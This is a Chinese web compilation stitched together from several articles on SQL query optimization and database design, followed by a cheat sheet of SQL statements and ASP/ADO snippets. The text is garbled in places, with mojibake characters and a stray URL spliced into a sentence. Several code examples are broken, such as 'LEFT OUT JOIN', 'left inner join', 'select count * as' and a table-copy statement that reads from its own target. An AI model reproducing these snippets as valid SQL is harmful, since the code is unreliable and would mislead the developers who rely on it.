面对传统的数据库应用模式下查询作业效率低且信息资源消耗大的情况, 如何在保证SQL数据库服务的质量的同时, 通过采取一定的技术手段与相关措施, 减少在原来的数据库应用模式下进行查询作业时对巨量信息资源的消耗, 进而提升数据库应用系统的运行效率, 使终端使用用户的查询工作更快捷, 已成为计算机应用系统发展进程中亟需解决的问题, 而对SQL语句进行优化就是解决这一问题的有效方法。这是因为, 对于很多以数据库为基础的应用程序来说, 大部分都是B/S或者C/S架构, 通过客户端嵌入的SQL语句或者调用数据库上的过程来实现与数据库的联系。因此SQL语句的质量如何会对整个系统造成很大的影响, 所以对SQL语句进行优化有这几个方面的好处:一是减少系统对硬件资源的消耗, 节约投资成本;二是提升系统运行的效率, 降低数据库死锁的风险;三是加强系统源代码的可读性, 减轻技术员对程序进行修改的劳动强度。
2 SQL语句优化的原理
从理论的方面来说, 结构化查询语言 (Structured Query Language) 简称SQL, 是一种数据库查询和程序设计语言, 用来对数据进行存取、查询并对关系数据库系统进行更新和管理, 在本质上它是一种负责连接数据服务器和客户终端的工具, 用户可以在SQL数据库中经过高层数据结构的支持进行连续性的加工作业。另外, 用户在利用SQL数据库进行数据处理时不需要对数据的存放方式进行明确的指定, 因此在底层数据结果完全不一样的的数据库系统当中, 有关的技术人员可以利用一样的SQL语言承担起数据输入和管理的端口。尤其要强调的是:在SQL数据库应用系统中, 不管是什么类型的SQL语句都可以利用接收集合实现输入, 利用返回集合实现输出。我们可以利用SQL数据库应用系统的这个特点将随便一条SQL的输入动作当作是另一条SQL语言的输出动作。
关于SQL语句的优化, 从计算机应用系统和与其相关的计算机技术的角度来说, 我们可以这样理解SQL语句的优化:通过一些相关的技术手段和处理方法, 把原来的SQL语句转化成语句语意都和原来一样并且在数据处理上效率更高的新型的SQL语句。通常认为, SQL语句的优化原理就是最大限度的减少终端用户在利用数据库应用系统进行查询工作时的各表参与加工的数据量, 从而更好的对时间和空间进行优化, 具体的说, 优化查询的最终目的就是帮助终端用户在最短的系统反应时间之内更快更好的找到与给定表达式相等价的数据。大量的实践和研究显示了一条规律:一个对数据的查询在SQL数据库处理正常运行的状态下会有两种或者更多种的实现方法, SQL语句对一切工作进行优化的关键就是找到一个等价于查询目标并且操作时间更短的语句表达式。
3 优化SQL语句的方法
关于优化SQL语句提高数据库效率的方法, 本文从SQL语句优化中的视图优化、SQL语句优化中的语句优化、SQL语句优化中的索引优化这三个方面进行具体的阐述
3.1 SQL语句优化中的视图优化
在SQL数据库中, 视图是其中一大关键对象, 它从本质上来说是一种数据表虚拟化的表现形式。通常情况下, SQL数据库下的视图分为三种形式, 即分区视图、标准视图和索引视图。其中分区视图对于分布式数据表查询效率的提高有着重要的作用, 在对整个SQL数据库的效率进行提高的过程中应该格外注重这一点, 可以在预先各个区域的服务器成寻中存储代表其区域仓库信息的Warehouse表, 从而促使此区域的查询业务不会受到外部区域服务器的信号影响, 并且有效的提升此区域仓库信息的查询效率。尤其要强调的是, 随着现阶段数据库处理系统逐步向多元化、集成化发展的情况下, 终端用户在对一些数据库进行信息查询时, 通常需要对包括此区域仓库信息在内的两个或者多个仓库信息进行访问, 因此在把仓库划分为多个区域的作业过程中, 要对各个仓库区域的ID信息进行差异性的定义, 帮助用户在查询分区的时候可以根据ID进行判定, 从而达到高效整合的动态合并查询的目的。
3.2 SQL语句优化中的语句优化
在对整个SQL数据库的性能进行优化作业的过程中, 语句优化是其中最关键、最核心的部分。通常来说, SQL语句优化可以分为两个方面, 即模糊查询技术的优化和子查询展开技术的优化。本文从对子查询展开技术的优化作业来对语句优化进行详细的分析, 从实质上来说, SQL数据库应用系统中的子查询展开技术就是通过吧子查询信号转变成链接从而对查询作业进行优化的技术。以某省查询各市企业资产总额由资产超过一千万的企业名称查询SQL数据库的查询作业为例子, 通常来说, 在原来的SQL数据库子查询展开技术的运用当中, 有关的技术工人人员一般采用:Select企业名From企业Where企业代号In (Select企业代号From企业Where资产>一千万) 的方式进行查询。很明显, 在利用这种查询方式进行查询的时候, 数据库查询会对每个市的每行数据中满足子查询要求的企业记录进行地毯搜索式的查询, 虽然查询的结果会很准确, 但是查询的效率却很低。而如果对SQL语句进行优化, 可以提前把企业表设置成SQL数据库查询作业中的链接内表, 在具体的查询过程中应该对语句进行分组从而首先对企业表进行企业代号的查询和删选工作, 进而可以最大限度的在对所有满足条件的企业进行查询之前消除多余的不必要的企业代号, 大大提高数据库的效率, 缩短查询作业的时间。具体的说, 经过语句优化之后, SQL数据库的查询语句是:Select D.企业名From (Select代号From企业Where资产>一千万Group by企业代号) E, 企业D Where E.企业代号=D.企业代号。
3.3 SQL语句优化中的索引优化
我们需要认识到的是:在现阶段的SQL数据库应用系统的作业过程中, 索引是最为常用的一种数据库操作对象。可以这样讲, 索引设置和使用的情况对于整个SQL数据库应用处理系统甚至是数据库整体性能的发挥都有着直接的影响。通常来说, 相关的技术工作人员在查询一些还没有建立索引的数据表时, 执行的大多数是全表的查询作业。更具体的说, 这种全表查询作业就是在对磁盘上的数据表的全部数据页进行读取的基础上, 对读取到的数据经过一定的整理、分析和加工, 进而实现对数据信息的获取处理。很明显, 如果在进行全表查询作业时, 其要读取的数据表具有大批量、大规模的数据量, 那么在SQL数据库数据处理的过程中需要消耗巨大的信息资源, 因此, 对SQL语句中的索引进行优化对于提高数据库的效率有着非常重要的意义。通常来说, 索引分为簇索引、非簇索引以及复合索引这三种实现的方式, 其中使用最为广泛的索引方式是簇索引。本文就以簇索引作为切入点对于SQL数据库的索引优化进行详细的说明。具体的说, 簇索引索引方式就是通过对磁盘上的各种实际数据进行一定的组合和整理, 从而使其可以按照制定的列值进行排列的过程。根据研究发现, 按照物理表现方式的不同将磁盘上的这些数据进行新一轮的排列组合之后, 系统在进行查询作业的时候, 如果搜索到符合搜索条件的第一条记录之后, 就不需要再对该列的其他数据进行充分的查询, 从而使查询范围大大的缩小, 提升了索引方式下SQL数据库的查询的效率。
4 结束语
随着社会经济的快速发展和现代科学技术的不断更新, 人民在物质文化和精神文化方面的需求也在持续的提高, 这对现代的计算机网络应用系统以及与之相关的软件技术提出了更高的要求。在繁荣发展的社会主义市场经济下, SQL数据库是计算机网络技术应用行业发展的必然趋势, 其运行的性能和效率将对整个数据库应用系统运行的安全性与稳定性产生直接的影响与决定性的作用。优化SQL语句可以在保证SQL数据库服务的质量的同时, 节约在传统数据库应用模式下进行查询作业消耗的巨量的信息资源, 提升数据库应用系统的运行效率, 使终端使用用户的查询工作更快捷, 从而加快计算机应用系统及其相关技术的发展。
参考文献
[1]王爱军, 刘风华, 张萌萌.基于数据库查询过程优化设计闭[J].电子科技大学学报, 2009 (10) .
[2]韩朝军, 梁冰, 刘莹.SQL Server管理与开发技术大全[M].北京:人民邮电出版社, 2009 (13) .
[3]李克洪, 王大玲.实用密码学与计算机数据安全[M].沈阳:东北大学社出版, 2011 (22) .
8.SQL语句性能优化 篇八
【关键词】 数据库 逻辑设计 物理设计 性能优化
一、引言
SQL Server数据库的性能受到多种因素的制约,比如数据库的结构、数据库的载体操作系统、硬件水平等等。在上述诸多因素中,有些情况必须要改变客观的情况才能够优化数据库性能,这些因素基本包括数据库本身因素之外的其他因素。而有些因素仅与数据库系统本身有关。本文对数据库结构对数据库性能的影响进行了研究,并针对数据库设计的改进来对数据库的性能进行优化。数据库的设计总是和实际应用紧密相结合的是面向客户的基本需求的,因而数据库的设计应该从客户的需求来出发进行设计。数据库的设计首先是为了满足客户的需求并且具备较好的性能,因而可以看到优化数据库的性能是数据库设计最为基本的要求之一,由于数据库的优化与数据库的设计二者紧密相关,而数据库的设计一般包括数据库的逻辑设计、数据库的物理设计以及事物日志设计等。
二、结构设计要点
要通过对数据库的设计来实现对数据库的优化,首要的是熟悉数据库的基本结构,这是通过结构设计进行数据库优化的基础。数据库一般包括一个主数据文件以及一个多人事务日志文件,此外在有些数据库中还有辅助数据文件等。一般讲主数据文件看做是整个数据库的起点。该主数据文件会指向数据库中其他的文件。主数据文件中一般会包含数据库文件的启动相关信息,主要用于存储数据,主数据文件是每个数据库所必须的。事务日志文件一般包括恢复整个数据库所需要的日志文件信息。作为数据库来说日志文件也是必须具备的,数据库可以通过数据库的日志文件来恢复数据库。辅助数据文件是相对于主数据文件来讲的,主数据文件主要是指除外主数据文件以外的全部的数据文件。因而如果主数据文件包含所有的数据文件时就不需要辅助数据文件,而实际可能的情况是由于数据库比较大而会存在多个的辅助数据文件。系统表中的model数据库会在数据库创建的过程中被转移到数据库当中。在数据库中最小的存储单位为页,其中每页为8kb的磁盘空间。在数据库中行不能够跨页,扩展是数据库的又一基本单元,可以将空间分配相应的表或者是索引。事物的日志文件含有可以恢复数据库的重要的信息,这在数据库发生故障或者是崩溃的时候尤为重要。了解数据库结构设计要点对于在数据库设计的过程中对数据库进行优化以及规范具有十分重要的意义。可以通过对数据库文件以及事物日志映射的方式来进行管理,就能够实现优化数据库的目标并能够具有较好的系统容错性。
三、数据库逻辑设计
数据库的逻辑设计主要是根据实际的业务需求和所需的数据建立数据模型。主要是对表与表之间的关系进行规范和设计,这是数据库优化的重要核心问题。从数据库结构设计对系统性能优化的整个影响机制来看,数据库的逻辑设计是对整个数据库进行性能优化的基础环节也是最为重要的环节。而数据库逻辑设计优化的过程也就是使用规范、简洁的关系来代替原来关系的一个过程。如果一个关系所有的字段都已经不再可分,那么这种关系就是规范化的逻辑关系。该关系满足数据库逻辑设计的第一范式,在此基础上进一步将属性和关键字之间进行消除可以得到第二范式,进一步消除属性与关键字之间的传递函数关系就可进一步得到第三范式,这种关系规范化的过程就是对关系进行分解的过程,因而在数据库的逻辑设计过程中必须要满足第三范式。实际上逻辑设计就是将数据分布到各个表的技术,使用规范化的设计技术能够有效的消除数据的冗余,将数据之间的层次关系理清楚,有效的保证数据库的完整,使得数据库的稳定性较好能够较为智能的解决删除时的异常。数据插入异常,也就是相关数据信息未插入到数据库当中以及更新问题等。
数据库的规范化在一定程度上降低了冗余的数据,数据库冗余数据的减少使得其在数据库中数据量有效的减少了,进而能够减少存储数据的页,这对系统查询性能具有一定程度的提升,有效的避免了数据库中多个位置有一个数据的情况。能够显著提升应用程序的效率并且能够减少数据库使用过程中所出现的错误。
但是规范化的设计有时候也会对系统的性能产生一定程度的影响,规范化实际上是将二维表分解为最小组分的表,所以对于一些查询运算可能就需要完成较为复杂的联结运算,复杂的联结运算会导致计算机运行的时间、空间以及效率的损失,且使得客户端的编程难度也极大的增加会导致较为明显的性能的下降。所以必须要对其规范化进行平衡,使用反规范化来相应的提高系统查询的速度。
四、物理设计
数据库物理设计的过程是将逻辑设计映射到物理设备上的一个过程,使用相应的软件功能可以较为方面的实现对数据库进行物理访问,数据库使用I/O接口函数来实现对数据的读写,其中磁盘设备往往会成为影响数据库性能的主要方面,在这种情况下用户可以将数据最大限度的分解到多个磁盘上,在这种情况下可以采取并行访问的方案来提高文件访问的速度,可以将每个物理磁盘创建为一个文件并设置相应的文件分组,在这过程中可以使用RAID技术来实现对数据库性能的优化。该设备允许对多个磁盘进行条带化,可以便于使用更多的磁盘进行同时进行数据的读写,然后进行查询,可以有效的提高数据查询的效率。
五、结语
通过对数据设计对数据库性能的影响分析可以看到数据的逻辑设计过程中使用规范化的设计能够在一定程度上减少数据冗余进而提高数据库系统的性能,但是逻辑规范化的设计也会存在着一定的问题可以通过反规范化设计进行均衡。物理设计过程中对数据库性能影响较大的因素为物理磁盘设备,可以使用RAID技术来对物理结构进行优化设计从而允许对多个磁盘的读写提高数据库查询的效率。
参 考 文 献
[1] 任巍. 铁路巡检作业信息实时管理系统的数据库设计[J]. 信息与电脑(理论版). 2015(02)
[2] 谭峤. SQL Server数据库性能优化研究[J]. 硅谷. 2014(08)
9.SQL语句从入门到精通之笔记 篇九
DDL—数据定义语言(CREATE,ALTER,DROP,declare)
DML—数据操纵语言(select,delete,update,insert)
DCL—数据控制语言(GRANT,REVOKE,COMMIT,ROLLBACK)
首先,简要介绍基础语句:
1、说明:创建数据库
CREATE DATABASE database-name
2、说明:删除数据库 drop database dbname
3、说明:备份sql server
---创建 备份数据的 device USE master exec sp_addumpdevice 'disk', 'testBack', 'c:mssql7backupMyNwind_1.dat'
---开始 备份
BACKUP DATABASE pubs TO testBack
4、说明:创建新表
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
根据已有的表创建新表:
A:create table tab_new like tab_old(使用旧表创建新表)B:create table tab_new as select col1,col2… from tab_old definition only5、说明:
删除新表:drop table tabname
6、说明:
增加一个列:Alter table tabname add column col type
注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。
7、说明:
添加主键:Alter table tabname add primary key(col)
说明:
删除主键:Alter table tabname drop primary key(col)
8、说明:
创建索引:create [unique] index idxname on tabname(col….)
删除索引:drop index idxname
注:索引是不可更改的,想更改必须删除重新建。
9、说明:
创建视图:create view viewname as select statement
删除视图:drop view viewname
10、说明:几个简单的基本的sql语句
选择:select * from table1 where 范围
插入:insert into table1(field1,field2)values(value1,value2)
删除:delete from table1 where 范围
更新:update table1 set field1=value1 where 范围
查找:select * from table1 where field1 like ‟%value1%‟---like的语法很精妙,查资料!
排序:select * from table1 order by field1,field2 [desc]
总数:select count * as totalcount from table1
求和:select sum(field1)as sumvalue from table1
平均:select avg(field1)as avgvalue from table1
最大:select max(field1)as maxvalue from table1
最小:select min(field1)as minvalue from table1
11、说明:几个高级查询运算词
A: UNION 运算符
UNION 运算符通过组合其他两个结果表(例如 TABLE1 和 TABLE2)并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时(即 UNION ALL),不消除重复行。两种情况下,派生表的每一行不是来自 TABLE1 就是来自 TABLE2。
B: EXCEPT 运算符
EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当 ALL 随 EXCEPT 一起使用时(EXCEPT ALL),不消除重复行。
C: INTERSECT 运算符
INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL 随 INTERSECT 一起使用时(INTERSECT ALL),不消除重复行。
注:使用运算词的几个查询结果行必须是一致的。
12、说明:使用外连接
A、left outer join:
左外连接(左连接):结果集几包括连接表的匹配行,也包括左连接表的所有行,http://mrrscn.inmix1.com/。
SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
B:right outer join:
右外连接(右连接):结果集既包括连接表的匹配连接行,也包括右连接表的所有行。
C:full outer join:
全外连接:不仅包括符号连接表的匹配行,还包括两个连接表中的所有记录。
其次,大家来看一些不错的sql语句
1、说明:复制表(只复制结构,源表名:a 新表名:b)(Access可用)
法一:select * into b from a where 1<>1
法二:select top 0 * into b from a
2、说明:拷贝表(拷贝数据,源表名:a 目标表名:b)(Access可用)insert into b(a, b, c)select d,e,f from b;
3、说明:跨数据库之间表的拷贝(具体数据使用绝对路径)(Access可用)insert into b(a, b, c)select d,e,f from b in „具体数据库‟ where 条件
例子:..from b in '“&Server.MapPath(”.“)&”data.mdb“ &”' where..4、说明:子查询(表名1:a 表名2:b)select a,b,c from a where a IN(select d from b)或者: select a,b,c from a where a IN(1,2,3)
5、说明:显示文章、提交人和最后回复时间
select a.title,a.username,b.adddate from table a,(select max(adddate)adddate from table where table.title=a.title)b
6、说明:外连接查询(表名1:a 表名2:b)select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
7、说明:在线视图查询(表名1:a)select * from(select a,b,c FROM a)T where t.a > 1;
8、说明:between的用法,between限制查询数据范围时包括了边界值,not between不包括
select * from table1 where time between time1 and time2 select a,b,c, from table1 where a not between 数值1 and 数值2
9、说明:in 的使用方法
select * from table1 where a [not] in(„值1‟,‟值2‟,‟值4‟,‟值6‟)
10、说明:两张关联表,删除主表中已经在副表中没有的信息
delete from table1 where not exists(select * from table2 where table1.field1=table2.field1)
11、说明:四表联查问题:
select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where.....12、说明:日程安排提前五分钟提醒
SQL: select * from 日程安排 where datediff('minute',f开始时间,getdate())>5
13、说明:一条sql 语句搞定数据库分页
select top 10 b.* from(select top 20 主键字段,排序字段 from 表名 order by 排序字段 desc)a,表名 b where b.主键字段 = a.主键字段 order by a.排序字段
14、说明:前10条记录 select top 10 * form table1 where 范围
15、说明:选择在每一组b值相同的数据中对应的a最大的记录的所有信息(类似这样的用法可以用于论坛每月排行榜,每月热销产品分析,按科目成绩排名,等等.)select a,b,c from tablename ta where a=(select max(a)from tablename tb where tb.b=ta.b)
16、说明:包括所有在 TableA 中但不在 TableB和TableC 中的行并消除所有重复行而派生出一个结果表
(select a from tableA)except(select a from tableB)except(select a from tableC)
17、说明:随机取出10条数据
select top 10 * from tablename order by newid()
18、说明:随机选择记录 select newid()
19、说明:删除重复记录
delete from tablename where id not in(select max(id)from tablename group by col1,col2,...)
20、说明:列出数据库里所有的表名 select name from sysobjects where type='U'
21、说明:列出表里的所有的
select name from syscolumns where id=object_id('TableName')
22、说明:列示type、vender、pcs字段,以type字段排列,case可以方便地实现多重选择,类似select 中的case。
select type,sum(case vender when 'A' then pcs else 0 end),sum(case vender when 'C' then pcs else 0 end),sum(case vender when 'B' then pcs else 0 end)FROM tablename group by type
显示结果: type vender pcs 电脑 A 1 电脑 A 1 光盘 B 2 光盘 A 2 手机 B 3 手机 C 3
23、说明:初始化表table1 TRUNCATE TABLE table1
24、说明:选择从10到15的记录
select top 5 * from(select top 15 * from table order by id asc)table_别名 order by id desc 随机选择数据库记录的方法(使用Randomize函数,通过SQL语句实现)
对存储在数据库中的数据来说,随机数特性能给出上面的效果,但它们可能太慢了些。你不能要求ASP“找个随机数”然后打印出来。实际上常见的解决方案是建立如下所示的循环: Randomize
RNumber = Int(Rnd*499)+1
While Not objRec.EOF
If objRec(“ID”)= RNumber THEN...这里是执行脚本...end if
objRec.MoveNext Wend
这很容易理解。首先,你取出1到500范围之内的一个随机数(假设500就是数据库内记录的总数)。然后,你遍历每一记录来测试ID 的值、检查其是否匹配RNumber。满足条件的话就执行由THEN 关键字开始的那一块代码。假如你的RNumber 等于495,那么要循环一遍数据库花的时间可就长了。虽然500这个数字看起来大了些,但相比更为稳固的企业解决方案这还是个小型数据库了,后者通常在一个数据库内就包含了成千上万条记录。这时候不就死定了?
采用SQL,你就可以很快地找出准确的记录并且打开一个只包含该记录的recordset,如下所示: Randomize
RNumber = Int(Rnd*499)+ 1
SQL = “select * FROM Customers WHERE ID = ” & RNumber
set objRec = ObjConn.execute(SQL)
Response.WriteRNumber & “ = ” & objRec(“ID”)& “ ” & objRec(“c_email”)
不必写出RNumber 和ID,你只需要检查匹配情况即可。只要你对以上代码的工作满意,你自可按需操作“随机”记录。Recordset没有包含其他内容,因此你很快就能找到你需要的记录这样就大大降低了处理时间。再谈随机数
现在你下定决心要榨干Random 函数的最后一滴油,那么你可能会一次取出多条随机记录或者想采用一定随机范围内的记录。把上面的标准Random 示例扩展一下就可以用SQL应对上面两种情况了。
为了取出几条随机选择的记录并存放在同一recordset内,你可以存储三个随机数,然后查询数据库获得匹配这些数字的记录:
SQL = “select * FROM Customers WHERE ID = ” & RNumber & “ OR ID = ” & RNumber2 & “ OR ID = ” & RNumber3
假如你想选出10条记录(也许是每次页面装载时的10条链接的列表),你可以用BETWEEN 或者数学等式选出第一条记录和适当数量的递增记录。这一操作可以通过好几种方式来完成,但是 select 语句只显示一种可能(这里的ID 是自动生成的号码): SQL = “select * FROM Customers WHERE ID BETWEEN ” & RNumber & “ AND ” & RNumber & “+ 9”
注意:以上代码的执行目的不是检查数据库内是否有9条并发记录。
随机读取若干条记录,测试过
Access语法:select top 10 * From 表名 ORDER BY Rnd(id)Sql server:select top n * from 表名 order by newid()mysql select * From 表名 Order By rand()Limit n
Access左连接语法(最近开发要用左连接,Access帮助什么都没有,网上没有Access的SQL说明,只有自己测试, 现在记下以备后查)
语法 select table1.fd1,table1,fd2,table2.fd2 From table1 left join table2 on table1.fd1,table2.fd1 where...使用SQL语句 用...代替过长的字符串显示
语法:
SQL数据库:select case when len(field)>10 then left(field,10)+'...' else field end as news_name,news_id from tablename
Access数据库:select iif(len(field)>2,left(field,2)+'...',field)FROM tablename;
Conn.execute说明
execute方法
该方法用于执行SQL语句。根据SQL语句执行后是否返回记录集,该方法的使用格式分为以下两种:
1.执行SQL查询语句时,将返回查询得到的记录集。用法为:
Set 对象变量名=连接对象.execute(“SQL 查询语言”)
execute方法调用后,会自动创建记录集对象,并将查询结果存储在该记录对象中,通过Set方法,将记录集赋给指定的对象保存,以后对象变量就代表了该记录集对象。
2.执行SQL的操作性语言时,没有记录集的返回。此时用法为:
连接对象.execute “SQL 操作性语句” [, RecordAffected][, Option]
稲ecordAffected 为可选项,此出可放置一个变量,SQL语句执行后,所生效的记录数会自动保存到该变量中。通过访问该变量,就可知道SQL语句队多少条记录进行了操作。
稯ption 可选项,该参数的取值通常为adCMDText,它用于告诉ADO,应该将execute方法之后的第一个字符解释为命令文本。通过指定该参数,可使执行更高效。
稡eginTrans、RollbackTrans、CommitTrans方法
这三个方法是连接对象提供的用于事务处理的方法。BeginTrans用于开始一个事物;RollbackTrans用于回滚事务;CommitTrans用于提交所有的事务处理结果,即确认事务的处理。
事务处理可以将一组操作视为一个整体,只有全部语句都成功执行后,事务处理才算成功;若其中有一个语句执行失败,则整个处理就算失败,并恢复到处里前的状态。
BeginTrans和CommitTrans用于标记事务的开始和结束,在这两个之间的语句,就是作为事务处理的语句。判断事务处理是否成功,可通过连接对象的Error集合来实现,若Error集合的成员个数不为0,则说明有错误发生,事务处理失败。Error集合中的每一个Error对象,代表一个错误信息。SQL语句大全精要 2006/10/26 13:46 delete语句
delete语句:用于创建一个删除查询,可从列在 FROM 子句之中的一个或多个表中删除记录,且该子句满足 WHERE 子句中的条件,可以使用delete删除多个记录。语法:delete [table.*] FROM table WHERE criteria 语法:delete * FROM table WHERE criteria='查询的字' 说明:table参数用于指定从其中删除记录的表的名称。
criteria参数为一个表达式,用于指定哪些记录应该被删除的表达式。
可以使用 execute 方法与一个 DROP 语句从数据库中放弃整个表。不过,若用这种方法删除表,将会失去表的结构。不同的是当使用 delete,只有数据会被删除;表的结构以及表的所有属性仍然保留,例如字段属性及索引。
update 有关update,在ORACLE数据库中
表 A(ID ,FIRSTNAME,LASTNAME)表 B(ID,LASTNAME)表 A 中原来ID,FIRSTNAME两个字段的数据是完整的 表 B中原来ID,LASTNAME两个字段的数据是完整的
现在要把表 B中的LASTNAME字段的相应的数据填入到A表中LASTNAME相应的位置。两个表中的ID字段是相互关联的。
update a set a.lastname=(select b.lastname from b where a.id=b.id)
【SQL语句性能优化】推荐阅读:
NET性能优化方法总结与字符串连接优化10-11
sql语句函数09-04
sql常用查询语句10-23
vf常用sql语句大全07-13
阀门性能介绍09-09
住宅性能评定标准06-15
性能试验操作方法07-19
检测项目性能验证10-23
水泥物理性能检验记录08-28
发动机性能教案12-10